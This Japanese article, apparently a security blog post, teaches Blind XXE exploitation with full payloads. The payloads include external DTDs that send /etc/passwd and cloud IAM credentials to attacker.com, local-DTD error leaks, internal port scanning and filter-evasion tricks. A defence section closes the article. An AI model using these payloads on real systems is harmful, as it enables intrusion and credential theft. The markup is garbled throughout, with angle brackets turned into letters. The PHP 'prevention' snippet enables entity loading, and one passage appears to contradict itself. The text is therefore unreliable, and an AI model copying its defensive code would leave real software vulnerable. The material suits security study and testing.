Blind XXE: 応答が見えないときのデータ抽出 👁️

Blind XXE脆弱性の概要
XML External Entity (XXE) 攻撃は、最も重大なWebアプリケーションの脆弱性の一つであり、OWASP Top 10に常に含まれています。標準的なXXE攻撃では、攻撃者はXMLレスポンスを通じて機密データを直接取得できますが、Blind XXEの脆弱性は、アプリケーションが外部エンティティの値をレスポンスに返さないため、より難易度が高いシナリオです。それでも、熟練した攻撃者は高度なアウト・オブ・バンド(OOB)技術を用いて、機密ファイルや内部ネットワークのデータを抽出可能です。
Blind XXEは、アプリケーションがXXEインジェクションに脆弱であるが、外部エンティティの値をレスポンスに含めない場合に発生します。これにより、サーバー側の直接的なファイル取得は不可能となり、通常のXXEよりも攻撃が難しくなります。
XXEの基本理解
盲目的なエクスプロイト技術に入る前に、XML External Entities(外部エンティティ)について理解することが重要です。XMLファイルには、Document Type Definitions(DTD)が含まれ、XMLエンティティを定義・使用できます。これには、URIを用いた外部エンティティも含まれ、XMLパーサーが処理してXMLドキュメントに内容を追加します。
XXEの危険性は何?
XXE攻撃は、脆弱なアプリケーションだけでなく、接続されたシステムにも影響を及ぼし、攻撃者がパスワードなどの機密情報を取得したり、ディレクトリトラバーサル、サービス拒否攻撃(DoS)、他のネットワークディレクトリへのアクセスやサーバーサイドリクエストフォージェリ(SSRF)を行う可能性があります。
Blind XXEが発生する理由
Blind XXEは、以下のような一般的な状況で発生します:
- レスポンスに反映されないアプリケーション:XMLを処理するが、解析結果をレスポンスに表示しない
- エラー抑制:XML解析エラーが静かに処理される
- 非同期処理:XMLデータがバックグラウンドで処理され、即時のフィードバックがない
- APIエンドポイント:XMLを受け入れるRESTful APIがJSONや一般的なステータスコードを返す
Blind XXEの検出技術
アウト・オブ・バンド(OOB)インタラクションの検出
XXE SSRF攻撃と同じ技術を用いて、制御下のシステムに対してアウト・オブ・バンドのネットワーク通信をトリガーし、Blind XXEを検出できます。
基本的な検出ペイロード例:
c!DOCTYPE foo [
c!ENTITY xxe SYSTEM "http://attacker-controlled-server.com/detect"e
]e
cstockChecke
cproductIdexxe;c/productIde
c/stockChecke
アプリケーションが脆弱な場合、サーバーはあなたのURLにHTTPリクエストを行い、DNSルックアップやHTTPリクエストを監視して攻撃成功を確認できます。
パラメータエンティティを用いた検出
XMLのパラメータエンティティは、DTD内でのみ使用可能な特殊なXMLエンティティで、%記号を付けて宣言・呼び出します:
c!DOCTYPE foo [
c!ENTITY % xxe SYSTEM "http://attacker.com/detect.dtd"e
%xxe;
]e
高度なBlind XXEのエクスプロイト技術
方法1:アウト・オブ・バンドによるデータ抽出
最も強力なBlind XXE技術は、攻撃者が制御するサーバーに悪意のあるDTDをホストし、パラメータエンティティを用いてデータを抽出する方法です。
ステップバイステップの抽出手順
1. 悪意のある外部DTDを作成
/etc/passwdの内容を抽出するための悪意のあるDTDは、「file」というXMLパラメータエンティティを定義し、その内容を格納します。さらに、「eval」エンティティは動的に「exfiltrate」エンティティを宣言し、ファイル内容をURLに含めて攻撃者のサーバーにリクエストを送ります:
c!-- http://attacker.com/evil.dtd にホスト --e
c!ENTITY % file SYSTEM "file:///etc/passwd"e
c!ENTITY % eval "c!ENTITY x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'e"e
%eval;
%exfiltrate;
2. 脆弱なアプリにペイロードを送信
次のペイロードを送ります:
c?xml version="1.0" encoding="UTF-8"?e
c!DOCTYPE foo [
c!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"e
%xxe;
]e
cstockChecke
cproductIde123c/productIde
c/stockChecke
3. 実行の流れ
XMLパーサーはまず%fileエンティティを処理し、/etc/passwdを読み込みます。次に、%evalエンティティがURLにファイル内容を含むエンティティを作成し、最後にパーサーはこのエンティティを処理して攻撃者のサーバーにリクエストを送信します。
特殊文字や大きなファイルの取り扱い
/etc/passwdのような大きなファイルや特殊文字を含む場合、HTTPリクエストを壊さないようにbase64エンコードするのが最も簡単です:
c!-- base64エンコードされたevil.dtd --e
c!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"e
c!ENTITY % eval "c!ENTITY x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'e"e
%eval;
%exfiltrate;
方法2:エラーを利用したBlind XXE
アウト・オブ・バンド接続が可能な場合、攻撃者は解析エラーを誘発し、敏感なデータを含むエラーメッセージを生成できます。これは、アプリケーションがレスポンスにエラーメッセージを返す場合に有効です。
エラーを利用したエクスプロイト例
c!-- 攻撃者サーバーにホストされたevil.dtd --e
c!ENTITY % file SYSTEM "file:///etc/passwd"e
c!ENTITY % eval "c!ENTITY x26; error SYSTEM 'file:///nonexistent/%file;'e"e
%eval;
%error;
パーサーが存在しないファイルを読み込もうとすると、エラーが発生し、ファイル内容が漏洩します。
方法3:ローカルDTDファイルの悪用
アウト・オブ・バンドのやり取りがブロックされている場合でも、内部DTDが外部DTDで宣言されたエンティティを再定義できるXMLの仕様の抜け穴を利用して、エラーメッセージを生成させることが可能です。
ローカルDTDの技法
この技法は、ローカルファイルシステムに存在するDTDファイルを呼び出し、既存のエンティティを再定義して解析エラーを誘発し、機密情報を漏洩させるものです。
一般的なローカルDTDの場所:
- Linux/GNOME:
/usr/share/yelp/dtd/docbookx.dtd - Windows:
C:\Windows\System32\wbem\xml\cim20.dtd - Javaアプリケーション: DTDを含むさまざまなJARファイル
エクスプロイト例:
c!DOCTYPE foo [
c!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"e
c!ENTITY % ISOamso '
c!ENTITY x25; file SYSTEM "file:///etc/passwd"e
c!ENTITY x25; eval "c!ENTITY x26; error SYSTEM x27;file:///nonexistent/x25;file;x27;e"e
x25;eval;
x25;error;
'e
%local_dtd;
]e
高度なエクスプロイト技術
FTPプロトコルによるデータ抽出
x xe-ftp-serverのようなツールを用いたFTPプロトコルで、カスタムポートをリッスンし、リクエストを傍受して内部情報(Javaバージョンや内部IPアドレスなど)を明らかにできます:
c!DOCTYPE foo [
c!ENTITY % dtd SYSTEM "ftp://attacker.com:2121/evil.dtd"e
%dtd;
]e
HTTPとHTTPSによるSSRF
攻撃者はXXEを利用してサーバーサイドリクエストフォージェリ(SSRF)を行うために、ターゲットURLを持つ外部エンティティを定義できます:
c!DOCTYPE foo [
c!ENTITY xxe SYSTEM "http://internal-network.local/admin"e
]e
cdataexxe;c/datae
ファイルプロトコルのバリエーション
試すべきファイルプロトコル:
- file:///etc/passwd
- file://localhost/etc/passwd
- file:///c:/windows/win.ini(Windows)
実世界の攻撃シナリオ
内部ネットワークの偵察
Blind XXEは、内部ポートスキャンやサービスの発見に悪用できます:
c!DOCTYPE foo [
c!ENTITY % xxe SYSTEM "http://192.168.1.1:8080"e
%xxe;
]e
タイミング差やアウト・オブ・バンドリクエストを監視し、開いているポートや稼働中のサービスを特定します。
クラウドメタデータの悪用
クラウド環境では、Blind XXEを利用してインスタンスのメタデータにアクセス可能です:
c!DOCTYPE foo [
c!ENTITY % cloud SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"e
c!ENTITY % eval "c!ENTITY x25; exfil SYSTEM 'http://attacker.com/?data=%cloud;'e"e
%eval;
%exfil;
]e
データベース設定ファイル
狙うべき機密設定ファイル:
- /etc/mysql/my.cnf
- /var/www/html/config.php
- C:\inetpub\wwwroot\web.config
最近の脆弱性とケーススタディ
2024年、Palo Alto NetworksのPAN-OSソフトウェアにおいて、認証済み攻撃者がファイアウォールから任意のファイルを抽出できるBlind XXE脆弱性(CVE-2024-5919)が発見されました。
この脆弱性は、次のポイントを浮き彫りにしました: - 最新のエンタープライズソフトウェアもXXEに脆弱 - Blind XXEは従来のセキュリティ監視を回避できる - 認証があってもXXEの悪用を防げない
ツールと自動化
Burp Suite Collaborator
Burp Collaboratorは、ユニークなサブドメインを生成し、DNSルックアップやHTTP通信を監視することで、Blind XXEを簡単に検出できます。
カスタム検出スクリプト
OOB検出用のシンプルなHTTPサーバーを設定:
# PythonのHTTPサーバー(ログ付き)
python3 -m http.server 8080 --bind 0.0.0.0
アクセスログを監視し、脆弱なアプリからのリクエストを確認します。
自動化されたエクスプロイトツール
- XXExploiter:GitHubの自動XXEエクスプロイトツール
- XXEinjector:RubyベースのXXEエクスプロイトフレームワーク
- OXML_XXE:Office Open XMLファイルのエクスプロイト専用ツール
防御と予防策
DTD処理の無効化
最も効果的な予防策は、XMLパーサーでDTD処理を完全に無効にすることです。実装により方法は異なります:
Java例:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
PHP例:
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);
.NET例:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
Webアプリケーションファイアウォール(WAF)ルール
多くのWAFは、既知の攻撃パターンを監視・フィルタリングし、明らかなXXE入力をブロックするルールを備えています:
検知設定例:
- c!DOCTYPE 宣言
- c!ENTITY 定義
- 外部DTD参照
- XML内のsuspectなSYSTEMキーワード
入力検証とサニタイズ
完璧ではありませんが、深層防御を実現: - XMLスキーマを厳格に検証 - 許可されたXML要素と属性のホワイトリスト化 - DOCTYPE宣言を含むXMLの拒否 - XML入力のサイズ制限
セキュリティ監視と検知
次の監視を実施: - アプリケーションサーバーからの異常なアウトバウンド通信 - 疑わしい外部ドメインへのDNSクエリ - 機密システムファイルへのアクセス試行 - XXE攻撃の試行を示すエラーパターン
テスト手法
手動テストの流れ
- XML入力ポイントの特定:XMLデータを受け入れるエンドポイントを探す
- 基本的なXXEのテスト:シンプルなエンティティ宣言を試す
- パラメータエンティティのテスト:DTDベースのエンティティを使用
- OOBチャネルの設定:Burp Collaboratorやカスタムサーバーを設定
- データ抽出の試行:複数段階のDTDペイロードを使用
- エラーを利用した技術のテスト:解析エラーを誘発
- ローカルDTDの列挙:一般的なDTDパスをブルートフォース
自動スキャンの考慮点
現代のスキャナーは、次の方法でXXEを検出します: - エンティティ宣言を用いたペイロードのファジング - OOBコールバックの検証 - タイミングを利用したブラインド検出 - エラーメッセージの解析
高度な回避技術
UTF-7エンコーディング
c!DOCTYPE foo [
c!ENTITY xxe SYSTEM "file:///+AD0AZQ-tc/passwd"e
]e
XMLパラメータエンティティチェーン
複雑なエンティティ参照チェーンを作成し、基本的なフィルターを回避:
c!DOCTYPE foo [
c!ENTITY % a "c!ENTITY x25; b SYSTEM 'http://attacker.com/b.dtd'e"e
%a;
%b;
]e
プロトコルのスモッグリング
フィルターを回避できる可能性のあるあまり知られていないプロトコル:
- php://filter/convert.base64-encode/resource=
- expect://id
- data://text/plain;base64,
まとめ
Blind XXE脆弱性は、高度な攻撃ベクトルを示し、XML処理の設定の重要性を浮き彫りにします。即時のレスポンスがなくても、攻撃者は外部DTDやOOBチャネルを通じてXML入力を操作し、機密データを抽出できます。
組織は、すべてのXMLパーサーで外部エンティティ処理を無効にし、包括的なセキュリティ監視を実施し、定期的なセキュリティ評価を行うことが必要です。最近のCVEや実世界のエクスプロイトからもわかるように、最新のエンタープライズアプリケーションもこれらの攻撃に脆弱です。
重要なポイントは、XML処理のレスポンスの可視性は成功的なエクスプロイトに必要ないということです。創造性、忍耐、適切なツールを駆使すれば、攻撃者はBlind XXEの脆弱性を武器にして、機密データを抽出し、内部システムを侵害できます。
参考資料とさらなる情報
- OWASP XXE Prevention Cheat Sheet
- PortSwigger Web Security Academy - Blind XXE
- HackerOne XXE Complete Guide
- CVE-2024-5919: PAN-OS Blind XXE脆弱性
- XML External Entity Processing (OWASP Foundation)
この記事について:この包括的ガイドは、セキュリティ専門家、ペネトレーションテスター、アプリケーションセキュリティチーム向けに、先進的なBlind XXEエクスプロイト技術を解説しています。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.